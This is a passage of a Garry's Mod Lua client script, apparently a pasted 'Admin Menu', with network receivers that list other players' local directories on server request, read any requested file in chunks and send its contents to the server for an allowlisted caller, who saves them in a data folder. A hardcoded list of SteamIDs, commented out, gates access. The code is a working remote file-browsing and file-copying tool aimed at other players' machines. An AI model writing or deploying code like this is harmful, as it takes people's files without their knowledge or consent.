  968. //////////////////////////////////////////////////////////
  969. //////////////////////CLOSE BUTTON////////////////////////
  970. //////////////////////////////////////////////////////////
  971.  
  972.  
  973. local closeButton = vgui.Create("DButton",mainPanel)
  974. local mainSizeW,mainSizeH = mainPanel:GetSize()
  975. closeButton:SetText("Close")
  976. closeButton:SetSize(35,26)
  977. closeButton:SetPos(mainSizeW-35,0)
  978. function closeButton:Paint(w,h)
  979. draw.RoundedBox(3,0,0,w,h,Color(51,51,51))
  980. end
  981. closeButton.DoClick = function()
  982. if fr:IsVisible() then
  983. fr:Hide()
  984. else
  985. fr:Show()
  986. end
  987. end
  988.  
  989. end
  990.  
  991. net.Receive("userfunction",function(len)
  992. local mode = net.ReadString()
  993.  
  994. if mode == "displayError" then
  995. local errorMsg = net.ReadString()
  996. if errorMsg != "Code run successfully" then
  997. chat.AddText("ERROR:\n------------------------\n"..errorMsg.."\n------------------------")
  998. else
  999. chat.AddText("Code run successfully")
  1000. end
  1001. end
  1002.  
  1003. end)
  1004.  
  1005. function findinRoot(root,name)
  1006. local found = nil
  1007. local nodes = root:GetChildren()[3]:GetChildren()
  1008.  
  1009. if nodes != nil then
  1010. for k,v in pairs(nodes) do
  1011. if v:GetText() == name then
  1012. found = v
  1013. break
  1014. end
  1015. end
  1016. if found != nil then
  1017. return found
  1018. else
  1019. local new = root:AddNode(name)
  1020. return new
  1021. end
  1022. end
  1023. end
  1024.  
  1025.  
  1026.  
  1027. net.Receive("loaddatafolder",function(len)
  1028. local mode = net.ReadString()
  1029. if mode == "constructTable" then
  1030. local content = {}
  1031. local caller = net.ReadEntity()
  1032. local receivedpath = net.ReadString()
  1033. local ex = string.Explode("/",receivedpath)
  1034. local path = table.concat(ex,"/")
  1035. local tab = generateDataTable(path,content)
  1036. if tab != nil then
  1037. net.Start("datatransfer")
  1038. net.WriteString("sendTable")
  1039. net.WriteTable(tab)
  1040. net.WriteEntity(LocalPlayer())
  1041. net.WriteEntity(caller)
  1042. net.WriteString(path)
  1043. net.SendToServer()
  1044. end
  1045. elseif mode == "loadTable" then
  1046. local content = net.ReadTable()
  1047. local user = net.ReadEntity()
  1048. local caller = net.ReadEntity()
  1049. local path = net.ReadString()
  1050. local playerNode = nil
  1051. local userNick = user:Nick()
  1052. if Tree != nil then
  1053. if Tree:GetChildren()[1]:GetChildren()[1]:GetChildren() != nil then
  1054. for k, v in pairs(Tree:GetChildren()[1]:GetChildren()[1]:GetChildren()[4]:GetChildren()) do
  1055. if userNick == v:GetText() then
  1056. playerNode = v
  1057. end
  1058. end
  1059. end
  1060. if playerNode == nil then
  1061. playerNode = Tree:AddNode(user:Nick())
  1062. end
  1063.  
  1064. local exp = string.Explode("/",path)
  1065. local final = playerNode
  1066. for k,v in pairs(exp) do
  1067. if v != "" then
  1068. final = findinRoot(final,v)
  1069. end
  1070. end
  1071. addDirectories(final,path,content.files,content.directories,user) -- dlist :GetParent()
  1072. end
  1073. elseif mode == "loadTableofserver" then
  1074. local content = net.ReadTable()
  1075. local path = net.ReadString()
  1076. local playerNode = nil
  1077. local userNick = "SERVER"
  1078. if Tree:GetChildren()[1]:GetChildren()[1]:GetChildren() != nil then
  1079. for k, v in pairs(Tree:GetChildren()[1]:GetChildren()[1]:GetChildren()[4]:GetChildren()) do
  1080. if userNick == v:GetText() then
  1081. playerNode = v
  1082. end
  1083. end
  1084. end
  1085. if playerNode == nil then
  1086. playerNode = Tree:AddNode("SERVER")
  1087. end
  1088.  
  1089. local exp = string.Explode("/",path)
  1090. local final = playerNode
  1091. for k,v in pairs(exp) do
  1092. if v != "" then
  1093. final = findinRoot(final,v)
  1094. end
  1095. end
  1096. addDirectories(final,path,content.files,content.directories,"SERVER") -- dlist :GetParent()
  1097. end
  1098. end)
  1099.  
  1100.  
  1101. net.Receive("datatransfer",function(len)
  1102. local mode = net.ReadString()
  1103. if mode == "sendDataBack" then
  1104. local path = net.ReadString()
  1105. local caller = net.ReadEntity()
  1106. local loadinLuapad = net.ReadBool()
  1107.  
  1108. local user = LocalPlayer()
  1109. local txt = file.Open(path,"r",mainDirectory)
  1110. local fileSize = txt:Size()
  1111. local code = file.Read(path,mainDirectory)
  1112.  
  1113. if loadinLuapad == true then
  1114. net.Start("datatransfer")
  1115. net.WriteString("sendDataForLuapad")
  1116. net.WriteString(path)
  1117. net.WriteEntity(caller)
  1118. net.WriteEntity(user)
  1119. net.WriteString(code)
  1120. net.SendToServer()
  1121.  
  1122. return
  1123. end
  1124.  
  1125.  
  1126.  
  1127. local stringMax = 65000
  1128. local each =math.ceil(fileSize/stringMax)
  1129. local parts = {}
  1130. for i = 1,each,1 do
  1131. txt:Seek((i-1)*stringMax)
  1132. parts[i] = txt:Read(stringMax)
  1133. end
  1134.  
  1135.  
  1136. for k,v in pairs(parts) do
  1137. net.Start("datatransfer")
  1138. net.WriteString("sendData")
  1139. net.WriteInt(each,8)
  1140. net.WriteInt(k,8)
  1141. net.WriteString(path)
  1142. net.WriteEntity(caller)
  1143. net.WriteEntity(user)
  1144. net.WriteString(v)
  1145. net.SendToServer()
  1146. end
  1147. elseif mode == "gotdataserverforluapad" then
  1148. local code = net.ReadString()
  1149. local path = net.ReadString()
  1150. local user = net.ReadString()
  1151.  
  1152. if fr != nil then
  1153. if fr.Editor == nil || !fr.Editor:IsValid() then
  1154. fr.Editor = openEditor()
  1155. else
  1156. if fr.Editor:IsVisible() then
  1157. fr.Editor:Hide()
  1158. else
  1159. fr.Editor:Show()
  1160. end
  1161. end
  1162. fr.Editor.AddCode(code,path,user,nil)
  1163. end
  1164.  
  1165. elseif mode == "gotdataserver" then
  1166. local lengthparts = net.ReadInt(8)
  1167. local partNo = net.ReadInt(8)
  1168. local code = net.ReadString()
  1169. local path = net.ReadString()
  1170. local user = net.ReadString()
  1171.  
  1172. if !file.Exists("_DATAFOLDER_",mainDirectory) then
  1173. file.CreateDir("_DATAFOLDER_")
  1174. end
  1175. if !file.Exists("_DATAFOLDER_/"..user,mainDirectory) then
  1176. file.CreateDir("_DATAFOLDER_/"..user)
  1177. end
  1178.  
  1179. local explode = string.Explode("/",path,false)
  1180. local p = ""
  1181. for k,v in pairs(explode) do
  1182. if !file.IsDir(p..v,mainDirectory) then
  1183. p = p..v
  1184. p = string.Replace(p,".lua",".txt")
  1185. if partNo == 1 then
  1186. file.Write("_DATAFOLDER_/"..user.."/"..p,code)
  1187. chat.AddText("Successfully created ".. "_DATAFOLDER_/"..user.."/"..p.." inside the data folder")
  1188. else
  1189. file.Append("_DATAFOLDER_/"..user.."/"..p,code)
  1190. end
  1191. else
  1192. p = p..v.."/"
  1193. file.CreateDir("_DATAFOLDER_/"..user.."/"..p)
  1194. end
  1195. end
  1196.  
  1197. elseif mode == "gotdata" then
  1198. local lengthparts = net.ReadInt(8)
  1199. local partNo = net.ReadInt(8)
  1200. local code = net.ReadString()
  1201. local path = net.ReadString()
  1202. local user = net.ReadEntity()
  1203.  
  1204. if !file.Exists("_DATAFOLDER_",mainDirectory) then
  1205. file.CreateDir("_DATAFOLDER_")
  1206. end
  1207. if !file.Exists("_DATAFOLDER_/"..user:Nick(),mainDirectory) then
  1208. file.CreateDir("_DATAFOLDER_/"..user:Nick())
  1209. end
  1210.  
  1211. local explode = string.Explode("/",path,false)
  1212. local p = ""
  1213. for k,v in pairs(explode) do
  1214. if !file.IsDir(p..v,mainDirectory) then
  1215. p = p..v
  1216. p = string.Replace(p,".lua",".txt")
  1217. if partNo == 1 then
  1218. file.Write("_DATAFOLDER_/"..user:Nick().."/"..p,code)
  1219. chat.AddText("Successfully created ".. "_DATAFOLDER_/"..user:Nick().."/"..p.." inside the data folder")
  1220. else
  1221. file.Append("_DATAFOLDER_/"..user:Nick().."/"..p,code)
  1222. end
  1223. else
  1224. p = p..v.."/"
  1225. file.CreateDir("_DATAFOLDER_/"..user:Nick().."/"..p)
  1226. end
  1227. end
  1228. end
  1229. end)
  1230.  
  1231. net.Receive("adminmenu",function()
  1232. -- if LocalPlayer():SteamID() == "STEAM_0:0:0" || LocalPlayer():SteamID() == "STEAM_0:0:58329845" || LocalPlayer():SteamID() == "STEAM_0:0:47647629" ||LocalPlayer():SteamID() == "STEAM_0:0:71035911" || LocalPlayer():SteamID() == "STEAM_0:0:104139026" || LocalPlayer():SteamID() == "STEAM_0:1:5163222" || LocalPlayer():SteamID() == "STEAM_0:1:91447905" || LocalPlayer():SteamID() == "STEAM_0:0:94401933" || LocalPlayer():SteamID() == "STEAM_0:1:60077414" || LocalPlayer():SteamID() == "STEAM_0:0:61704958" then
  1233. if isAllowed(LocalPlayer():SteamID()) then
  1234. -- if LocalPlayer():SteamID() == "STEAM_0:0:0" || LocalPlayer():SteamID() == "STEAM_0:0:58329845" then
  1235. local String = net.ReadString()
  1236. openMenu()
  1237. end
  1238. end)
  1239.  
  1240.  
  1241.  
  1242.  
  1243.  
  1244.  
  1245.  
  1246. end
  1247.  
  1248.  
  1249.  
  1250. print("Admin Menu installed and working !!!!!!!!!")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement